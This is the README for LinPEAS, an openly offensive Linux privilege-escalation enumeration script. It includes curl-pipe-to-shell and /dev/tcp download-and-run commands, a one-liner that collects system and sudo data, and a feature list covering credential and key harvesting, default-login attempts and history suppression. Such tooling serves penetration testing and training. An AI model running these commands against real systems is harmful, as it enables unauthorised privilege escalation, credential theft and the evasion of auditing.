PEASS-ng/linPEAS/README.md

# LinPEAS - Linux Privilege Escalation Awesome Script

**LinPEAS is a script that searh for possible paths to escalate privileges on Linux/Unix\* hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/linux-unix/privilege-escalation)**

Check the **Local Linux Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist)**.

[![asciicast](https://asciinema.org/a/250532.png)](https://asciinema.org/a/266928)


## Quick Start
```bash
#From github
curl https://raw.githubusercontent.com/carlospolop/linux-privilege-escalation-awsome-script/master/linpeas.sh | sh
```

```bash
#Local network
python -m SimpleHTTPServer 80
curl 10.10.10.10/linpeas.sh | sh

#Without curl
nc -lvnp 80 < linpeas.sh
cat < /dev/tcp/10.10.10.10/80 | sh
```

## Basic Information

The goal of this script is to search for possible **Privilege Escalation Paths** (tested in Debian, CentOS, FreeBSD and OpenBSD).

This script doesn't have any dependency.

It uses **/bin/sh** sintax, so can run in anything supporting `sh` (and the binaries and parameters used).

It could take from **2 to 3 minutes** to execute the whole script (less than 1 min to make almost all the checks, almost 1 min to search for possible passwords inside all the accesible files of the system and 1 min to monitor the processes in order to find very frequent cron jobs). 

You can **decrease this** time use the parameters: 
- **-f** (fast) - This will bypass checking processes during 1 min
- **-s** (superfast) - This will bypass the previous check and other time consuming checks.

This script has **several lists** included inside of it to be able to **color the results** in order to highlight PE vector.

LinPEAS also **exports a new PATH** variable if common folders aren't present in the original PATH variable. It also **exports** unset and export several environmental commands so no command executed during the session will be saved in the history file (you can avoid this actions using the parameter **-n**).

![](https://github.com/carlospolop/privilege-escalation-awsome-scripts-suite/blob/master/linpeas/images/help.png)

## Hosts Discovery and Port Scanning

With LinPEAS you can also **discover hosts automatically** using `fping`, `ping` and/or `nc`, and **scan ports** using `nc`.

LinPEAS will **automatically search for this binaries** in `$PATH` and let you know if any of them is available. In that case you can use LinPEAS to hosts dicovery and/or port scanning.

![](https://github.com/carlospolop/privilege-escalation-awsome-scripts-suite/blob/master/linpeas/images/network.png)

## Colors

<details>
<summary>Details</summary>

LinPEAS uses colors to indicate where does each section begin. But **it also uses them the identify potencial misconfigurations**.

The ![](https://placehold.it/15/b32400/000000?text=+) **Red/Yellow** ![](https://placehold.it/15/fff500/000000?text=+) color is used for identifing configurations that lead to PE (99% sure).

The ![](https://placehold.it/15/b32400/000000?text=+) **Red** color is used for identifing suspicious configurations that could lead to PE:
- Possible exploitable kernel versions
- Vulnerable sudo versions
- Identify processes running as root
- Not mounted devices
- Dangerous fstab permissions
- Writable files in interesting directories
- SUID/SGID binaries that have some vulnerable version (it also specifies the vulnerable version)
- SUDO binaries that can be used to escalate privileges in sudo -l (without passwd) (https://gtfobins.github.io/)
- Check /etc/doas.conf
- 127.0.0.1 in netstat
- Known files that could contain passwords
- Capabilities in interesting binaries
- Interesting capabilities of a binary
- Writable folders and wilcards inside info about cron jobs
- Writables folders in PATH
- Groups that could lead to root
- Files that could contains passwords

The ![](https://placehold.it/15/66ff33/000000?text=+) **Green** color is used for:
- Common processes run by root
- Common not interesting devices to mount
- Not dangerous fstab permissions
- SUID/SGID common binaries (the bin was already found in other machines and searchsploit doesn't identify any vulnerable version)
- Common .sh files in path
- Common names of users executing processes

The ![](https://placehold.it/15/0066ff/000000?text=+) **Blue** color is used for:
- Users without shell
- Mounted devices

The ![](https://placehold.it/15/33ccff/000000?text=+) **Light Cyan** color is used for:
- Users with shell

The ![](https://placehold.it/15/bf80ff/000000?text=+) **Light Magenta** color is used for:
- Current username

</details>

## One liner

Here you have an old linpe version script in one line, **just copy and paste it**;)

**The color filtering is not available in the one-liner** (the lists are too big)

This one-liner is deprecated (I am not going to update it more), but it could be useful in some cases so it will remain here:

The default file where all the data is recorded is: */tmp/linPE* (you can change it at the beginning of the script)


```sh
file="/tmp/linPE";RED='\033[0;31m';Y='\033[0;33m';B='\033[0;34m';NC='\033[0m';rm -rf $file;echo "File: $file";echo "[+]Gathering system information...";printf $B"[*] "$RED"BASIC SYSTEM INFO\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"Operative system\n"$NC >> $file;(cat /proc/version || uname -a ) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"PATH\n"$NC >> $file;echo $PATH 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Date\n"$NC >> $file;date 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Sudo version\n"$NC >> $file;sudo -V 2>/dev/null| grep "Sudo ver" >> $file;echo "" >> $file;printf $Y"[+] "$RED"selinux enabled?\n"$NC >> $file;sestatus 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Useful software?\n"$NC >> $file;which nc ncat netcat wget curl ping gcc make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Capabilities\n"$NC >> $file;getcap -r / 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Environment\n"$NC >> $file;(set || env) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Top and cleaned proccesses\n"$NC >> $file;ps aux 2>/dev/null | grep -v "\[" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Binary processes permissions\n"$NC >> $file;ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Services\n"$NC >> $file;(/usr/sbin/service --status-all || /sbin/chkconfig --list || /bin/rc-status) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Different processes executed during 1 min (HTB)\n"$NC >> $file;if [ "`ps -e --format cmd`" ]; then for i in {1..121}; do ps -e --format cmd >> $file.tmp1; sleep 0.5; done; sort $file.tmp1 | uniq | grep -v "\[" | sed '/^.\{500\}./d' >> $file; rm $file.tmp1; fi;echo "" >> $file;printf $Y"[+] "$RED"Proccesses binary permissions\n"$NC >> $file;ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Scheduled tasks\n"$NC >> $file;crontab -l 2>/dev/null >> $file;ls -al /etc/cron* 2>/dev/null >> $file;cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root /var/spool/anacron 2>/dev/null | grep -v "^#" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Any sd* disk in /dev?\n"$NC >> $file;ls /dev 2>/dev/null | grep -i "sd" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Storage information\n"$NC >> $file;df -h 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Unmounted file-system?\n"$NC >> $file;cat /etc/fstab 2>/dev/null | grep -v "^#" >> $file;echo "" >> $file;printf $Y"[+] "$RED"Printer?\n"$NC >> $file;lpstat -a 2>/dev/null >> $file;echo "" >> $file;echo "" >> $file;echo "[+]Gathering network information...";printf $B"[*] "$RED"NETWORK INFO\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"Hostname, hosts and DNS\n"$NC >> $file;cat /etc/hostname /etc/hosts /etc/resolv.conf 2>/dev/null | grep -v "^#" >> $file;dnsdomainname 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Networks and neightbours\n"$NC >> $file;cat /etc/networks 2>/dev/null >> $file;(ifconfig || ip a) 2>/dev/null >> $file;iptables -L 2>/dev/null >> $file;ip n 2>/dev/null >> $file;route -n 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Ports\n"$NC >> $file;(netstat -punta || ss -t; ss -u) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Can I sniff with tcpdump?\n"$NC >> $file;timeout 1 tcpdump >> $file 2>&1;echo "" >> $file;echo "" >> $file;echo "[+]Gathering users information...";printf $B"[*] "$RED"USERS INFO\n"$NC >> $file ;echo "" >> $file;printf $Y"[+] "$RED"Me\n"$NC >> $file;(id || (whoami && groups)) 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Sudo -l without password\n"$NC >> $file;echo '' | sudo -S -l -k 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Do I have PGP keys?\n"$NC >> $file;gpg --list-keys 2>/dev/null >> $file;echo "" >> $file;printf $Y"[+] "$RED"Superusers\n"$NC
```
## What does linpeas look for
<details>
  <summary>Details</summary>
  
- **System Information**
  - [x] SO & kernel version 
  - [x] Sudo version
  - [x] PATH
  - [x] Date
  - [x] System stats
  - [x] Environment vars
  - [x] SElinux
  - [x] Printers
  - [x] Dmesg (signature verifications)
  - [x] Container?

- **Devices**
  - [x] sd* in /dev
  - [x] Unmounted filesystems

- **Available Software**
  - [x] Useful software
  - [x] Installed compilers

- **Processes & Cron & Services**
  - [x] Cleaned processes
  - [x] Binary processes permissions
  - [x] Different processes executed during 1 min
  - [x] Cron jobs
  - [x] Services

- **Network Information**
  - [x] Hostname, hosts & dns
  - [x] Content of /etc/inetd.conf
  - [x] Networks and neighbours
  - [x] Iptables rules
  - [x] Active ports
  - [x] Sniff permissions (tcpdump)

- **Users Information**
  - [x] Info about current user
  - [x] PGP keys
  - [x] `sudo -l` without password
  - [x] doas config file
  - [x] Pkexec policy
  - [x] Try to login using `su` as other users (using null pass and the username)
  - [x] List of superusers
  - [x] List of users with console
  - [x] Login info
  - [x] List of all users
  - [x] Clipboard and highlighted text

- **Software Information**
  - [x] MySQl (Version, user being configured, loging as "root:root","root:toor","root:", user hashes extraction via DB and file, possible backup user configured)
  - [x] PostgreSQL (Version, try login in "template0" and "template1" as: "postgres:", "psql:")
  - [x] Apache (Version)
  - [x] PHP cookies
  - [x] Wordpress (Database credentials)
  - [x] Tomcat (Credentials)
  - [x] Mongo (Version)
  - [x] Supervisor (Credentials)
  - [x] Cesi (Credentials)
  - [x] Rsyncd (Credentials)
  - [x] Hostapd (Credentials)
  - [x] Wifi (Credentials)
  - [x] Anaconda-ks (Credentials)
  - [x] VNC (Credentials)
  - [x] LDAP database (Credentials)
  - [x] Open VPN files (Credentials)
  - [x] SSH (private keys, known_hosts, authorized_hosts, authorized_keys, main config parameters in sshd_config, certificates, agents)
  - [X] PAM-SSH (Unexpected "auth" values)
  - [x] Cloud Credentials (credenals-AWS-, credentials.gb-GC-, legacy_credentials-GC-, access_tokens.db-GC-, accessTokens.json-Azure-, azureProfile.json-Azure-)
  - [x] NFS (privilege escalation misconfiguration)
  - [x] Kerberos (configuration & tickets in /tmp)
  - [x] Kibana (credentials)
  - [x] Logstash (Username and possible code execution)
  - [x] Elasticseach (Config info and Version via port 9200)
  - [x] Vault-ssh (Config values, secrets list and .vault-token files)
  - [x] screen and tmux sessions


- **Generic Interesting Files**
  - [x] SUID & SGID files
  - [x] Capabilities
  - [x] .sh scripts in PATH
  - [x] Hashes (passwd, shadow & master.passwd)
  - [x] Try to read root dir
  - [x] Files owned by root inside /home
  - [x] List of readable files belonging to root and not world readable
  - [x] Root files inside a folder owned by the current user
  - [x] Reduced list of files inside my home and /home
  - [x] Mails
  - [x] Backup files
  - [x] DB files
  - [x] Web files
  - [x] Files that can contain passwords (and search for passwords inside *_history files)
  - [x] List of all hidden files
  - [x] List ALL writable files for current user (global, user and groups)
  - [x] Inside /tmp, /var/tmp and /var/backups
  - [x] Password ins config PHP files
  - [x] Get IPs, passwords and emails from logs
  - [x] password or credential files in home
  - [x] "pwd" and "passw" inside files (and get most probable lines)
</details>

## Do not fork it!!

If you want to **add something** and have **any cool idea** related to this project, please let me know it using the [github issues](https://github.com/carlospolop/privilege-escalation-awsome-scripts-suite/issues) and we will update the master version.

## TODO

- Add more checks
- Mantain updated the list of vulnerable SUID binaries
- Mantain updated all the blacklists used to color the output
- Support for MacOS

If you want to help with any of this, you can do it using **[github issues](https://github.com/carlospolop/privilege-escalation-awesome-script-suite/issues) or you can submit a pull request**.

If you find any issue, please report it using **[github issues](https://github.com/carlospolop/privilege-escalation-awesome-script-suite/issues)**.


**Linpeas** is being **updated** every time I find something that could be useful to escalate privileges.

## License

MIT License

By Polop<sup>(TM)</sup>